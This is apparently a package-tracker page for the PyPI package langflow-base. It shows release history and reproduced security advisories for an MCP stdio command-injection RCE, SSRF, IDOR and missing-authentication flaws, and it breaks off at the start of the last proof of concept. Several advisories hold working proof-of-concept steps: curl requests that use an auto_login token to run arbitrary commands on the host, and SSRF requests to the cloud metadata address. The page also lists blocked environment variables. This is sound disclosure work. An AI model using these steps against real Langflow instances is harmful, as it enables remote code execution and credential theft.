langflow-base

Langflow is a powerful tool for building and deploying AI-powered agents and workflows.

View on Pypi

View on Github

Activity

Latest release: 12h ago
Total releases: 360
Cadence: ~daily
Last 12 months: 248

Reach

Stars: 156.1k

Details

License: MIT
First release: Apr 01, 2024

Releases

Version	Released
`1.14.0.dev9` pre	Oct 29, 2026
`1.13.1rc1` pre	Oct 28, 2026
`1.14.0.dev8` pre	Oct 28, 2026
`1.14.0.dev7` pre	Oct 27, 2026
`1.14.0.dev6` pre	Oct 26, 2026
`1.13.1rc0` pre	Oct 25, 2026
`1.14.0.dev5` pre	Oct 25, 2026
`1.14.0.dev4` pre	Oct 24, 2026
`1.14.0.dev3` pre	Oct 23, 2026
`1.13.0` minor	Oct 22, 2026
`1.12.8` patch	Oct 22, 2026
`1.14.0.dev2` pre	Oct 22, 2026
`1.13.0rc4` pre	Oct 22, 2026
`1.12.8rc0` pre	Oct 21, 2026
`1.13.0rc3` pre	Oct 21, 2026
`1.14.0.dev1` pre	Oct 21, 2026
`1.12.7` patch	Oct 21, 2026
`1.12.7rc0` pre	Oct 20, 2026
`1.14.0.dev0` pre	Oct 20, 2026
`1.13.0rc2` pre	Oct 19, 2026
`1.13.0.dev47` pre	Oct 19, 2026
`1.13.0.dev46` pre	Oct 18, 2026
`1.13.0.dev45` pre	Oct 17, 2026
`1.13.0rc1` pre	Oct 16, 2026
`1.13.0.dev44` pre	Oct 16, 2026
`1.13.0.dev43` pre	Oct 15, 2026
`1.13.0.dev42` pre	Oct 14, 2026
`1.13.0rc0` pre	Oct 13, 2026
`1.12.6` patch	Oct 13, 2026
`1.13.0.dev41` pre	Oct 13, 2026
`1.12.6rc3` pre	Oct 12, 2026
`1.12.5rc2` pre	Oct 12, 2026
`1.13.0.dev40` pre	Oct 12, 2026
`1.13.0.dev39` pre	Oct 11, 2026
`1.13.0.dev38` pre	Oct 10, 2026
`1.13.0.dev37` pre	Oct 09, 2026
`1.13.0.dev36` pre	Oct 08, 2026
`1.13.0.dev35` pre	Oct 07, 2026
`1.12.5` patch	Oct 06, 2026
`1.13.0.dev34` pre	Oct 06, 2026
`1.12.5rc1` pre	Oct 05, 2026
`1.13.0.dev33` pre	Oct 05, 2026
`1.12.5rc0` pre	Oct 05, 2026
`1.13.0.dev32` pre	Oct 04, 2026
`1.13.0.dev31` pre	Oct 03, 2026
`1.13.0.dev30` pre	Oct 02, 2026
`1.13.0.dev29` pre	Oct 01, 2026
`1.13.0.dev28` pre	Sep 30, 2026
`1.12.4` patch	Sep 29, 2026
`1.13.0.dev27` pre	Sep 29, 2026

1–50 of 360

Repository

langflow-ai/langflow

Forks: 10.3k
Open issues: 207
Language: Python

react-flow
chatgpt
large-language-models
generative-ai
agents
multiagent

Dependencies (193)

Depends on

1.14.0.dev9

Used by

Supply-chain exposure

10 tracked projects depend on this, <1% of every package we track.

A known CVE here directly exposes every one of them.

Known CVEs (8)

CVE-2026-105697 PYSEC-2026-4239 GHSA-w794-rj3p-xv45 PYSEC-2026-4237 PYSEC-2026-4241 Oct 15, 2026

Langflow: OS command injection (RCE) via arbitrary command in MCP stdio server configuration

9.9 / 10
Critical
Network Low Low None Changed High High High

Summary

Before Langflow 1.10.3, the MCP stdio transport launched whatever command / args a user put in an MCP server configuration, with no allowlist and (before 1.10.3) wrapped in bash -c "exec {command} ...". Any user able to reach the MCP server settings ("Settings → MCP Servers → Add MCP Server", POST/PATCH /api/v2/mcp/servers/{server_name}) or to build a flow with the MCP Tools component could add a "server" whose command is an arbitrary OS command (touch, rm -rf, a reverse shell, ...). The command runs on the Langflow host as the Langflow process user as soon as Langflow tries to connect to the server (listing servers, loading tools, running the flow) — even when the UI then reports that the stdio server failed to start.

With the default LANGFLOW_AUTO_LOGIN=true, GET /api/v1/auto_login hands out a token without credentials, so on an exposed instance running the default configuration this is reachable without an account. AUTO_LOGIN is documented as a development-only setting; with it disabled, any authenticated (non-admin) user can exploit it.

The issue was fixed in two steps and is fully fixed in Langflow 1.10.3 (and 1.11.0+):

1.9.0 — #12290 added a command allowlist and argument/env validation to the REST model (MCPServerConfig), blocking the "Add MCP Server" vector reported here.

1.10.3 — #14036 applied the same policy at the execution sink (lfx.base.mcp.util), including configs embedded in flows / tweaks and the final pre-spawn boundary, and removed the bash -c wrapper (the process is now exec'd directly, without a shell).

Affected versions

| Package (PyPI) | Vulnerable | Patched | |---|---|---| | langflow | >= 1.1.2, < 1.10.3 | 1.10.3 | | langflow-base | >= 0.1.2, < 0.10.3 | 0.10.3 | | lfx | < 1.10.3 | 1.10.3 |

| Release | State | |---|---| | 1.1.2 – 1.4.x | MCP Stdio component (added in #5148) runs StdioServerParameters(command=..., args=...) from the component's command field with no validation. | | 1.5.0 – 1.8.x | "Add MCP Server" settings page and /api/v2/mcp/servers API added (#8388). Stored stdio configs are launched via bash -c "exec {command_str} ..." with no validation. The PoC below works as-is. | | 1.9.0 – 1.10.2 | #12290: POST/PATCH /api/v2/mcp/servers reject commands outside the allowlist. The execution sink still has no validation and still uses bash -c, so configs that do not go through MCPServerConfig (for example an MCP Tools component value embedded in a flow or passed as a tweak) can still execute arbitrary commands. | | 1.10.3+ | #14036: one shared policy (lfx.base.mcp.security.validate_mcp_stdio_config) is enforced at the API, at flow execution and right before the process is spawned; no shell is used. Fixed. |

Details

Vulnerable sink (src/lfx/src/lfx/base/mcp/util.py, MCPStdioClient._connect_to_server, before 1.10.3):

server_params = StdioServerParameters( command="bash", args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"], env=env_data, )

command_str is built from the user's command + args. The only "validation" before 1.9.0 was _validate_node_installation, which only checks that Node.js is installed when the command contains npx. The MCP SDK then starts the process with anyio.open_process, so the command runs before any MCP handshake — which is why it executes even if the UI shows "failed to start".

PoC (as reported, Langflow 1.5.0 – 1.8.x)

In "Add MCP Server" → STDIO, add:

Name - Test Command - touch Arguments - /tmp/pwn

Or through the API, using a token from auto_login (default configuration):

TOKEN=$(curl -s http://127.0.0.1:7860/api/v1/auto_login | python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])') curl -s -X POST 'http://127.0.0.1:7860/api/v2/mcp/servers/testing' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ --data-raw '{"command":"touch","args":["/tmp/pwned_langflow"]}'

/tmp/pwned_langflow gets created on the server. On 1.10.3+ the request is rejected with Command 'touch' is not allowed for security reasons. Allowed commands: bash, cmd, docker, node, npx, python, python3, uvx, and the same payload fails at the sink (MCPStdioClient.connect_to_server("touch /tmp/pwned_langflow") raises MCPStdioSecurityError, and no file is created). Wrappers such as bash -c "touch ...", sh -c ..., python3 -c ... and node -e ... are also rejected.

Fix

#12290 (1.9.0) — MCPServerConfig validators: command allowlist (node, python, python3, npx, uvx, docker, and cmd/sh/bash only to wrap one of those), shell-metacharacter and dangerous-keyword checks on arguments, env var blocklist (LD_PRELOAD, NODE_OPTIONS, PYTHONPATH, BASH_ENV, ...), and Docker isolation checks.

#14036 (1.10.3) — moves the policy into lfx.base.mcp.security.validate_mcp_stdio_config and enforces it at every entry point (API, embedded flow / tweak configs, the deprecated MCP Stdio component and just before spawn); it also launches the process without a shell:

command_parts = shlex.split(command_str) command, args = command_parts[0], command_parts[1:] validate_mcp_stdio_config(command, args, env) # final pre-spawn enforcement server_params = StdioServerParameters(command=command, args=final_args, env=env_data)

Later hardening (1.11.0, #13530) adds optional stricter modes for multi-tenant deployments.

Workarounds (if you cannot upgrade)

Set LANGFLOW_AUTO_LOGIN=false and do not expose Langflow directly to untrusted networks.

Only give Langflow accounts to trusted users.

Hardening recommendations for 1.10.3+

The allowlist still lets npx / uvx run any package by default, which is how MCP servers are normally distributed. On multi-tenant deployments, operators should also set:

LANGFLOW_MCP_SERVER_ALLOWED_PACKAGES — the exact packages npx / uvx may run.

LANGFLOW_MCP_SERVER_INTERPRETER_HARDENING=true and LANGFLOW_MCP_SERVER_DOCKER_HARDENING=true.

On 1.11.1+ (#14150), restricting custom code (LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false, LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY=true or LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true) also limits MCP stdio servers to superusers.

Impact

Remote code execution on the Langflow host as the Langflow process user (CWE-78). Any exposed instance on a vulnerable version is affected, whether the attacker has an account or uses the default AUTO_LOGIN. The reporter found several internet-facing Langflow servers that were vulnerable.

Affected versions

0.1.20.1.30.1.40.1.4.post10.10.00.10.0rc00.10.10.10.1rc00.10.1rc30.10.20.10.2rc40.10.3rc0

+ 50 more Show less

0.2.00.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.20.4.30.5.00.5.0.post10.5.0.post20.5.10.6.00.6.10.6.20.6.30.6.40.6.50.6.60.6.70.6.80.6.90.7.00.7.10.7.20.7.30.8.00.8.0rc00.8.0rc10.8.0rc20.8.0rc30.8.0rc40.8.0rc50.8.0rc60.8.10.8.20.8.30.8.3rc00.8.40.9.00.9.10.9.20.9.30.9.3rc00.9.40.9.50.9.60.9.6rc0

Fixed in

0.10.3

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-7w94-79vh-5mr2
https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45
https://nvd.nist.gov/vuln/detail/CVE-2026-105697
https://github.com/langflow-ai/langflow/pull/12290
https://github.com/langflow-ai/langflow/pull/14036
https://github.com/langflow-ai/langflow/commit/eba285edf1dd4a33bf23a9cb8113c991fcdf3d1d

Updated Oct 15, 2026 · Source: OSV.dev
CVE-2026-105698 PYSEC-2026-4238 GHSA-gh98-4phw-6fmw PYSEC-2026-4234 Oct 15, 2026

Langflow : Cross-user flow access and vertex execution via deprecated /api/v1/build/{flow_id}/vertices endpoints

5.4 / 10
Medium
Network Low Low None Unchanged Low Low None

Summary

Before Langflow 1.10.1, two deprecated but still-routed endpoints in the chat API did not check that the authenticated caller owns the flow referenced in the URL path:

POST /api/v1/build/{flow_id}/vertices (retrieve_vertices_order)

POST /api/v1/build/{flow_id}/vertices/{vertex_id} (build_vertex)

Any authenticated user who knows (or obtains) another user's flow_id could load that user's private flow graph, enumerate its vertex IDs, and build (execute) individual vertices of it, receiving the vertex results in the response.

Both routes are declared with deprecated=True, include_in_schema=False, so they do not appear in the OpenAPI docs, but they remained registered on the router. The Langflow UI no longer calls them (it uses POST /api/v1/build/{flow_id}/flow), so they are only reachable by direct HTTP requests.

The issue is fixed in Langflow 1.10.1 (langflow-base 0.10.1) by #13153.

Details

In affected versions, both handlers go straight to the graph loader:

retrieve_vertices_order (src/backend/base/langflow/api/v1/chat.py, lines 81-159 in 1.9.1) only required authentication via dependencies=[Depends(get_current_active_user)]. The user was never injected into the handler, and the flow was loaded with build_graph_from_db(flow_id=flow_id, ...).

build_vertex (chat.py, lines 320-491 in 1.9.1) receives current_user, but only uses it for variable resolution (user_id=str(current_user.id)). It is never used to scope the flow lookup. The graph is taken from the chat-service cache keyed by flow_id, or rebuilt with build_graph_from_db on a cache miss.

build_graph_from_db_no_cache (src/backend/base/langflow/api/utils/flow_utils.py) does a bare primary-key lookup, session.get(Flow, flow_id), with no owner filter.

The supported replacement, POST /api/v1/build/{flow_id}/flow, already restricted the lookup to the owner or a PUBLIC flow (added in #12305 for GHSA-qj98-rhf8-v93f). The deprecated siblings were not covered by that fix, nor by the _read_flow fix for GHSA-8c4j-f57c-35cf.

Additional side effects in affected versions:

retrieve_vertices_order stores the graph in the chat-service cache under the victim's flow_id (chat_service.set_cache(str(flow_id), graph)). When the request includes a data body, the cached graph is attacker-supplied.

build_vertex schedules log_vertex_build for the victim's flow_id, so attacker-triggered builds are recorded in the victim flow's vertex build history.

Note on older versions: up to and including 1.7.1, these two routes had no authentication dependency at all. Authentication was added in 1.7.2 by #10977, but no ownership check was added. This advisory covers the missing ownership check, which is present in every release from 1.0.0 (when the routes were introduced) through 1.10.0.

Attack scenario

The attacker authenticates as any valid user.

The attacker obtains a victim flow_id (shared URLs, exported flow files, logs, screenshots, etc.).

POST /api/v1/build/{victim_flow_id}/vertices returns 200 OK with {"ids": [...], "run_id": "...", "vertices_to_run": [...]} listing the victim flow's vertex IDs (component type plus suffix, e.g. ChatInput-abc12).

The attacker calls POST /api/v1/build/{victim_flow_id}/vertices/{vertex_id} for a returned ID. The victim's graph is loaded and the vertex is built. Its results, outputs and artifacts are returned to the attacker.

Impact

Confidentiality (Low): Discloses the structure of private flows (vertex IDs and component types) and the outputs of vertices the attacker chooses to build. That includes values hardcoded in node configuration, such as prompt text or fixed inputs.

Global variables and credentials in the variable store are not exposed, because variable resolution uses the caller's user_id.

The victim's stored flow definition is not returned wholesale.

Integrity (Low): The attacker can trigger execution of the victim's nodes, including any side effects baked into their configuration (fixed endpoints, webhooks, hardcoded API keys). Build records are written under the victim's flow_id. The attacker cannot modify the stored flow.

Availability: None.

The attacker must be authenticated and must know the target flow UUID. Flow UUIDs are random v4 values, so blind enumeration is not practical.

Proof of concept

Observed on langflow==1.9.1 using the project's test client and in-memory SQLite fixtures (see the attached poc.zip):

| Request | Expected (hardened) | Observed on 1.9.1 | |---|---|---| | Attacker → POST /api/v1/build/{victim_flow_id}/vertices | 404 Not Found | 200 OK with vertex order payload | | Attacker → POST /api/v1/build/{victim_flow_id}/vertices/<bogus-id> | 404 Not Found | 500 {"detail":"Vertex <id> not found"}: the victim graph was loaded before the vertex lookup failed | | Owner (control) → same endpoints | non-404 | non-404 |

On 1.10.1 and later, the attacker requests return 404 Not Found. This is covered by regression tests in src/backend/tests/unit/test_endpoints.py:

test_get_vertices_returns_404_for_other_users_private_flow

test_get_vertices_with_supplied_data_returns_404_for_other_users_private_flow

test_build_vertex_returns_404_for_other_users_private_flow

Patches

Fixed in Langflow 1.10.1 (langflow-base 0.10.1) by #13153 (merge commit fb3d6ec90b). Both handlers now:

inject current_user (for retrieve_vertices_order, this replaces the dependencies-only declaration),

load the flow with an owner-scoped query and return 404 when it is not found, so a flow you don't own looks the same as a missing flow, and

call ensure_flow_permission(current_user, FlowAction.EXECUTE, ...) before building or caching any graph.

# retrieve_vertices_order / build_vertex (1.10.1) stmt = ( select(Flow) .where(Flow.id == flow_id) .where((Flow.user_id == current_user.id) | (Flow.access_type == AccessTypeEnum.PUBLIC)) ) flow = (await session.exec(stmt)).first() if not flow: raise HTTPException(status_code=404, detail=f"Flow with id {flow_id} not found") await ensure_flow_permission( current_user, FlowAction.EXECUTE, flow_id=flow_id, flow_user_id=flow.user_id, workspace_id=flow.workspace_id, folder_id=flow.folder_id, )

Related hardening in later releases:

#14342 (1.11.2) applies the same guard to the sibling GET /api/v1/build/{flow_id}/{vertex_id}/stream route.

#14497 (1.12.0) makes all three deprecated vertex routes owner-only, dropping the PUBLIC exception, because their graph cache is keyed by flow UUID rather than by the executing user.

Users should upgrade to 1.10.1 or later. The latest release is recommended.

Workarounds

If upgrading is not immediately possible, block POST /api/v1/build/*/vertices and POST /api/v1/build/*/vertices/* (and GET /api/v1/build/*/*/stream) at a reverse proxy. The Langflow UI does not use these routes.

Affected versions

0.0.130.0.140.0.150.0.160.0.170.0.180.0.190.0.200.0.210.0.220.0.230.0.24

+ 134 more Show less

0.0.250.0.260.0.270.0.280.0.290.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.600.0.610.0.620.0.630.0.640.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.800.0.810.0.820.0.830.0.840.0.850.0.860.0.870.0.880.0.890.0.900.0.910.0.920.0.930.0.940.0.950.0.960.0.970.0.980.0.990.1.00.1.10.1.20.1.30.1.40.1.4.post10.10.00.10.0rc00.10.1rc00.10.1rc30.2.00.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.20.4.30.5.00.5.0.post10.5.0.post20.5.10.6.00.6.10.6.20.6.30.6.40.6.50.6.60.6.70.6.80.6.90.7.00.7.10.7.20.7.30.8.00.8.0rc00.8.0rc10.8.0rc20.8.0rc30.8.0rc40.8.0rc50.8.0rc60.8.10.8.20.8.30.8.3rc00.8.40.9.00.9.10.9.20.9.30.9.3rc00.9.40.9.50.9.60.9.6rc0

Fixed in

0.10.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-gh98-4phw-6fmw
https://nvd.nist.gov/vuln/detail/CVE-2026-105698
https://github.com/langflow-ai/langflow/pull/13153
https://github.com/langflow-ai/langflow/commit/fb3d6ec90b1e4d52eaa40915a64b1f86b6542f55
https://github.com/langflow-ai/langflow
https://github.com/langflow-ai/langflow/releases/tag/v1.10.1

Updated Oct 15, 2026 · Source: OSV.dev
GHSA-j8f7-x8jm-wmm4 Oct 06, 2026

Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling)

Medium
Network Low Low None

Summary

Before Langflow 1.10.3, several built-in components sent server-side HTTP requests to URLs the flow author controls, with no SSRF enforcement. An authenticated user who can build or run flows could make the Langflow server reach loopback, RFC 1918 / private networks, link-local addresses and cloud metadata endpoints (for example http://169.254.169.254/latest/meta-data/), and in many cases read the response back through the component output.

Two things combined to cause this:

Protection disabled / warn-only. The SSRF guard (lfx/utils/ssrf_protection.py, added in 1.7.0 by #10544) shipped with ssrf_protection_enabled = False, and its only caller, the API Request component, called validate_url_for_ssrf(url, warn_only=True). So even with protection turned on, blocked URLs were only logged.

Inconsistent coverage. Other components that take a user-supplied URL or base URL did not call the guard at all: RSS Reader, SearXNG, Web Search (fetching result / RSS URLs), Home Assistant, Glean Search and Docling Serve (remote).

The problem was fixed across several PRs and is fully fixed in Langflow 1.10.3 (and 1.11.0+). With the default settings, outbound requests from these components are now validated after DNS resolution, pinned to the validated IP (to prevent DNS rebinding) and blocked when they target private, loopback, link-local or metadata addresses, unless the operator allowlists the host.

Affected versions

| Package (PyPI) | Vulnerable | Patched | |---|---|---| | langflow | < 1.10.3 | 1.10.3 | | langflow-base | < 0.10.3 | 0.10.3 | | lfx | < 1.10.3 | 1.10.3 | | lfx-docling (Docling Serve component) | < 0.1.2 | 0.1.2 |

How the fix rolled out:

| Release | Change | |---|---| | < 1.7.0 | No SSRF guard. All URL-taking components make unrestricted requests. | | 1.7.0 – 1.9.2 | Guard exists, but ssrf_protection_enabled=False by default and API Request uses warn_only=True. | | 1.9.3 | #13016: protection on by default, API Request blocks (DNS pinning / anti-rebinding). Other components still unprotected. | | 1.10.1 | #13395 (RSS Reader, SearXNG) and #13643 (Home Assistant, Glean, plus model-provider URL components) route requests through SSRF-safe helpers. | | 1.10.3 | #14033 (Docling Serve) and #14071 (Web Search result/RSS fetching). All components cited in this report are protected. |

Details

Vulnerable pattern (for example rss.py before #13395):

response = requests.get(self.rss_url, timeout=self.timeout)

API Request before #13016:

# TODO: In next major version (2.0), remove warn_only=True to enforce blocking validate_url_for_ssrf(url, warn_only=True)

with ssrf_protection_enabled: bool = False in the settings.

Clarifications on the original report. Some sinks in the report are not exploitable SSRF:

web_search.py: the DuckDuckGo search request and the Google News RSS request, and news_search.py:131. The host is hard-coded (html.duckduckgo.com / news.google.com) and user input only goes into quote_plus-encoded path and query segments, so the destination cannot be redirected. The real Web Search sink was fetching the result URLs, which is fixed in #14071.

langflow/load/utils.py get_flow(): this is a client-side SDK helper (from langflow.load import get_flow) that the caller runs against their own Langflow URL. No API route calls it, so it is not a backend SSRF endpoint.

PoC (vulnerable versions)

Log in as any user who can create flows.

Add an RSS Reader (or SearXNG / Home Assistant / Glean / Docling Serve) component and set its URL to http://169.254.169.254/latest/meta-data/ (or an internal host such as http://10.0.0.1/).

Run the component. The Langflow server issues the request, and the response or error is shown in the component output.

On patched versions the same run fails with SSRFProtectionError: Access to IP address 169.254.169.254 is blocked by SSRF protection.

Impact

Access to cloud instance metadata (IAM credentials / tokens) on AWS, GCP and Azure deployments.

Probing and interaction with internal services and private networks reachable from the Langflow host.

Requires an authenticated account with permission to build or run flows. Deployments where every user is already fully trusted are less affected.

Fix

#13016: sets ssrf_protection_enabled = True by default, changes warn_only to default False, drops warn_only=True from API Request, and adds validate_and_resolve_url() plus SSRFProtectedTransport (DNS pinning).

- ssrf_protection_enabled: bool = False + ssrf_protection_enabled: bool = True

#13395: adds lfx.utils.ssrf_requests.ssrf_safe_get (per-hop validation and pinning for requests) and uses it in RSS Reader and SearXNG.

- response = requests.get(self.rss_url, timeout=self.timeout) + response = ssrf_safe_get(self.rss_url, timeout=self.timeout)

#13643: adds lfx.utils.ssrf_httpx (ssrf_safe_httpx_get/post, protected client kwargs) and applies it to Home Assistant, Glean and the model-provider base-URL components.

#14033: Docling Serve builds its httpx.Client with ssrf_protected_httpx_client_kwargs_for_url(base_url).

#14071 (release-1.10.3) / #14073 (forward-port to 1.11.0): Web Search validates and pins each result URL before fetching it, with redirects disabled.

Note: connector-style components (for example Home Assistant, Ollama, LM Studio) keep a documented loopback exemption (#14146), so a self-hosted user can reach a local service on localhost. Private-network and metadata addresses stay blocked. Operators can tighten or relax this with LANGFLOW_SSRF_ALLOWED_HOSTS and LANGFLOW_CONNECTOR_SSRF_VALIDATION_ENABLED.

Remediation

Upgrade to langflow >= 1.10.3 (or langflow-base >= 0.10.3 / lfx >= 1.10.3 / lfx-docling >= 0.1.2).

Do not set LANGFLOW_SSRF_PROTECTION_ENABLED=false. If you need to reach internal hosts on purpose, allowlist only those hosts with LANGFLOW_SSRF_ALLOWED_HOSTS.

On versions that cannot be upgraded right away, restrict outbound network access from the Langflow host (for example, block 169.254.169.254 and use IMDSv2 on AWS).

Affected versions

0.0.130.0.140.0.150.0.160.0.170.0.180.0.190.0.200.0.210.0.220.0.230.0.24

+ 138 more Show less

0.0.250.0.260.0.270.0.280.0.290.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.600.0.610.0.620.0.630.0.640.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.800.0.810.0.820.0.830.0.840.0.850.0.860.0.870.0.880.0.890.0.900.0.910.0.920.0.930.0.940.0.950.0.960.0.970.0.980.0.990.1.00.1.10.1.20.1.30.1.40.1.4.post10.10.00.10.0rc00.10.10.10.1rc00.10.1rc30.10.20.10.2rc40.10.3rc00.2.00.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.20.4.30.5.00.5.0.post10.5.0.post20.5.10.6.00.6.10.6.20.6.30.6.40.6.50.6.60.6.70.6.80.6.90.7.00.7.10.7.20.7.30.8.00.8.0rc00.8.0rc10.8.0rc20.8.0rc30.8.0rc40.8.0rc50.8.0rc60.8.10.8.20.8.30.8.3rc00.8.40.9.00.9.10.9.20.9.30.9.3rc00.9.40.9.50.9.60.9.6rc0

Fixed in

0.10.3

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-j8f7-x8jm-wmm4
https://github.com/langflow-ai/langflow/pull/13016
https://github.com/langflow-ai/langflow/pull/13395
https://github.com/langflow-ai/langflow/pull/13643
https://github.com/langflow-ai/langflow/pull/14033
https://github.com/langflow-ai/langflow/pull/14071

Updated Oct 06, 2026 · Source: OSV.dev
CVE-2026-6596 PYSEC-2026-2572 GHSA-vvfc-fp59-m92g Jul 13, 2026

Langflow: DoS Through Lack of File Size Restriction via Deprecated Unauthenticated File Upload API

Medium
Network Low None None

A security flaw has been discovered in langflow-ai langflow up to 1.1.0. This issue affects the function create_upload_file of the file src/backend/base/Langflow/api/v1/endpoints.py of the component API Endpoint. The manipulation results in unrestricted upload. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Affected versions

0.0.130.0.140.0.150.0.160.0.170.0.180.0.190.0.200.0.210.0.220.0.230.0.24

+ 122 more Show less

0.0.250.0.260.0.270.0.280.0.290.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.600.0.610.0.620.0.630.0.640.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.800.0.810.0.820.0.830.0.840.0.850.0.860.0.870.0.880.0.890.0.900.0.910.0.920.0.930.0.940.0.950.0.960.0.970.0.980.0.990.1.00.1.10.1.20.1.30.1.40.1.4.post10.2.00.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.20.4.30.5.00.5.0.post10.5.0.post20.5.10.6.00.6.10.6.20.6.30.6.40.6.50.6.60.6.70.6.80.6.90.7.00.7.10.7.20.7.30.8.00.8.0rc00.8.0rc10.8.0rc20.8.0rc30.8.0rc40.8.0rc50.8.0rc60.8.10.8.20.8.30.8.3rc00.8.40.9.0

Fixed in

0.9.1

References

https://nvd.nist.gov/vuln/detail/CVE-2026-6596
https://github.com/langflow-ai/langflow/commit/b5662446bc8c54d928e278d3d26ad95b62425815
https://gist.github.com/chenhouser2025/c2aabfdee41009cfe45d28a9924742a0
https://github.com/langflow-ai/langflow
https://github.com/langflow-ai/langflow/commits/v1.9.1
https://vuldb.com/submit/791919

Updated Jul 13, 2026 · Source: OSV.dev
CVE-2026-34046 PYSEC-2026-2570 GHSA-8c4j-f57c-35cf PYSEC-2026-2567 Jul 13, 2026

Langflow: Authenticated Users Can Read, Modify, and Delete Any Flow via Missing Ownership Check

Critical
Network Low Low None

Vulnerability

IDOR in GET/PATCH/DELETE /api/v1/flow/{flow_id}

The _read_flow helper in src/backend/base/langflow/api/v1/flows.py branched on the AUTO_LOGIN setting to decide whether to filter by user_id. When AUTO_LOGIN was False (i.e., authentication was enabled), neither branch enforced an ownership check — the query returned any flow matching the given UUID regardless of who owned it.

This exposed any authenticated user to:

Read any other user's flow, including embedded plaintext API keys

Modify the logic of another user's AI agents

Delete flows belonging to other users

The vulnerability was introduced by the conditional logic that was meant to accommodate public/example flows (those with user_id = NULL) under auto-login mode, but inadvertently left the authenticated path without an ownership filter.

Fix (PR #8956)

The fix removes the AUTO_LOGIN conditional entirely and unconditionally scopes the query to the requesting user:

- auth_settings = settings_service.auth_settings - stmt = select(Flow).where(Flow.id == flow_id) - if auth_settings.AUTO_LOGIN: - stmt = stmt.where( - (Flow.user_id == user_id) | (Flow.user_id == None) # noqa: E711 - ) + stmt = select(Flow).where(Flow.id == flow_id).where(Flow.user_id == user_id)

All three operations — read, update, and delete — route through _read_flow, so the single change covers the full attack surface. A cross-user isolation test (test_read_flows_user_isolation) was added to prevent regression.

Acknowledgements

Langflow thanks the security researcher who responsibly disclosed this vulnerability:

@chximn-dt

Affected versions

0.0.130.0.140.0.150.0.160.0.170.0.180.0.190.0.200.0.210.0.220.0.230.0.24

+ 93 more Show less

0.0.250.0.260.0.270.0.280.0.290.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.600.0.610.0.620.0.630.0.640.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.800.0.810.0.820.0.830.0.840.0.850.0.860.0.870.0.880.0.890.0.900.0.910.0.920.0.930.0.940.0.950.0.960.0.970.0.980.0.990.1.00.1.10.1.20.1.30.1.40.1.4.post10.2.00.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.20.4.30.5.00.5.0.post10.5.0.post2

Fixed in

0.5.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-8c4j-f57c-35cf
https://nvd.nist.gov/vuln/detail/CVE-2026-34046
https://github.com/langflow-ai/langflow/pull/8956
https://github.com/langflow-ai/langflow
https://pypi.org/project/langflow-base
https://github.com/advisories/GHSA-8c4j-f57c-35cf

Updated Jul 13, 2026 · Source: OSV.dev
CVE-2026-21445 PYSEC-2026-2571 GHSA-c5cp-vx83-jhqx PYSEC-2026-1524 Jul 13, 2026

Langflow Missing Authentication on Critical API Endpoints

Critical
Network Low None None

Summary

Multiple critical API endpoints in Langflow are missing authentication controls, allowing any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization.

Details

The vulnerability exists in three API endpoints within src/backend/base/langflow/api/v1/monitor.py that are missing the required dependencies=[Depends(get_current_active_user)] authentication dependency:

Affected Endpoints:

GET /api/v1/monitor/messages (Line 61)

@router.get("/messages") # ❌ Missing authentication async def get_messages( session: DbSession, flow_id: Annotated[UUID | None, Query()] = None, session_id: Annotated[str | None, Query()] = None, # ... other parameters ) -> list[MessageResponse]:

GET /api/v1/monitor/transactions (Line 183)

@router.get("/transactions") # ❌ Missing authentication async def get_transactions( flow_id: Annotated[UUID, Query()], session: DbSession, params: Annotated[Params | None, Depends(custom_params)], ) -> Page[TransactionTable]:

DELETE /api/v1/monitor/messages/session/{session_id} (Line 165)

@router.delete("/messages/session/{session_id}", status_code=204) # ❌ Missing authentication async def delete_messages_session( session_id: str, session: DbSession, ):

Inconsistency Evidence: Other endpoints in the same file properly implement authentication:

@router.get("/messages/sessions", dependencies=[Depends(get_current_active_user)]) # ✅ Properly secured @router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)]) # ✅ Properly secured

PoC

Complete reproduction steps to demonstrate the vulnerability:

Prerequisites:

Start a Langflow server instance

